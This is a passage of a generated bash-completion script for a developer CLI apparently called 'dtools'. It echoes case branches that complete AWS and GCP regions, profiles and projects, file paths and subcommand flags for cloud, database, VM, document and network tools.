us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'network https-proxy\'*\'--ssl-certificate\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui development multi-host-log-viewer\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm start-ngrok-bastion-instance\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --hostname --ngrok-auth-token --ngrok-url --port --profile --region --subnet-id -a -h -p -r -u")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp artifacts list-images\'*\'--location\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp vertex list-endpoints\'*\'--location\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui network-monitoring network-diags\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws secretsmanager create-secret\'*\'-r\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws secretsmanager create-secret\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp artifacts list-images\'*\'--project\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(gcloud projects list | awk \'NR > 1 {print $1}\')")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'db postgres\'*\'--persistent-dir-prefix\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(ls -1 $HOME/.db/postgres/)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp vertex list-endpoints\'*\'--project\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(gcloud projects list | awk \'NR > 1 {print $1}\')")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws rds fetch-db-connection-details\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --profile --region -h -p -r")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws rds list-db-instances\'*\'--profile\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui network-monitoring socket-stats\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws logs query-log-groups\'*\'--profile\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm create-parameter\'*\'--profile\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp vertex deploy-model\'*\'--location\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm update-parameter\'*\'--profile\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm delete-parameter\'*\'--profile\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws secretsmanager list-secrets\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws secretsmanager list-secrets\'*\'-r\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'vm windows\'*\'--persistent-dir-prefix\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(ls -1 $HOME/.vm/windows/)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp artifacts list-repositories\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(gcloud projects list | awk \'NR > 1 {print $1}\')")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp artifacts list-repositories\'*\'-l\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws rds list-db-instances\'*\'--region\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws logs list-log-groups\'*\'--profile\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'document decrypt-pdf\'*\'--output-file\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -A directory -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws logs query-log-groups\'*\'--region\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws logs list-log-groups\'*\'--region\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm update-parameter\'*\'--region\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp vertex deploy-model\'*\'--project\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(gcloud projects list | awk \'NR > 1 {print $1}\')")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm create-parameter\'*\'--region\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws secretsmanager show-secret\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws secretsmanager show-secret\'*\'-r\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui network-monitoring ip-traffic\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui network-monitoring netscanner\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm delete-parameter\'*\'--region\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws logs tail-log-group\'*\'--profile\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui network http-request-client-2\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm list-parameters\'*\'--profile\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui docker docker-layer-analyzer\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws logs tail-log-group\'*\'--region\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'vm linux\'*\'--persistent-dir-prefix\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(ls -1 $HOME/.vm/linux/)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'document convert\'*\'--target-format\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ansi asciidoc asciidoc_legacy asciidoctor beamer bibtex biblatex chunkedhtml commonmark commonmark_x context csljson djot docbook docbook5 docx dokuwiki epub epub2 fb2 gfm haddock html html4 icml ipynb jats_archiving jats_articleauthoring jats_publishing jats jira json latex man markdown markdown_mmd markdown_phpextra markdown_strict markua mediawiki ms muse native odt opml opendocument org pdf plain pptx rst rtf texinfo textile slideous slidy dzslides revealjs s5 tei typst xwiki zimwiki")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'document convert\'*\'--source-format\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "bibtex biblatex bits commonmark commonmark_x creole csljson csv tsv djot docbook docx dokuwiki endnotexml epub fb2 gfm haddock html ipynb jats jira json latex markdown markdown_mmd markdown_phpextra markdown_strict mediawiki man mdoc muse native odt opml org pod ris rtf rst t2t textile tikiwiki twiki typst vimwiki")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'network mitm-proxy\'*\'--script-file\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -A directory -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws secretsmanager create-secret\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --name --profile --region --secret-string -h -p -r")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'db mysql\'*\'--persistent-dir-prefix\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(ls -1 $HOME/.db/mysql/)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'network archive-website\'*\'--output\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A directory -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm list-parameters\'*\'--region\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp vertex tail-endpoint-logs\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(gcloud projects list | awk \'NR > 1 {print $1}\')")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ec2 list-instances\'*\'--profile\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp vertex tail-endpoint-logs\'*\'-l\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm start-port-forwarding\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm start-port-forwarding\'*\'-r\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'document merge-pdf\'*\'--input-file\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -A directory -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws logs tail-log-group\'*\'--since\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(for e in s m h d w; do echo "${2//[!0-9]/}${e}"; done)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws secretsmanager list-secrets\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--detailed --help --profile --region -h -p -r")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui network http-request-client\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui network http-load-generator\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm get-parameter\'*\'--profile\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'ansible decrypt-variable\'*\'--file\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp artifacts list-repositories\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --location --project -h -l -p")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ec2 list-instances\'*\'--filter\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "instance-id instance-type private-dns-name private-ip-address public-dns-name subnet-id vpc-id tags launch-time availability-zone state architecture instance-profile security-groups os")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ec2 list-instances\'*\'--region\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'vm mac\'*\'--persistent-dir-prefix\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(ls -1 $HOME/.vm/mac/)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui network-monitoring wavemon\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws export-sso-creds\'*\'--profile\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm get-parameter\'*\'--region\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'document convert\'*\'--output-file\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -A directory -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws secretsmanager show-secret\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--detailed --help --profile --region -h -p -r")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp vertex tail-endpoint-logs\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --location --project -h -l -p")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui monitoring system-monitor\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui monitoring pihole-monitor\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui monitoring kernel-monitor\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui network bluetooth-manager\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp vertex predict\'*\'--location\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'video rip-audio\'*\'--output-file\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A directory -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws export-sso-creds\'*\'--region\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm start-port-forwarding\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --host --local-port --profile --region --remote-port -h -p -r")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp artifacts list-images\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(gcloud projects list | awk \'NR > 1 {print $1}\')")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui network wireguard-config\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws logs query-log-groups\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws generate-sso-profiles\'*\'-d\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws logs query-log-groups\'*\'-r\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W 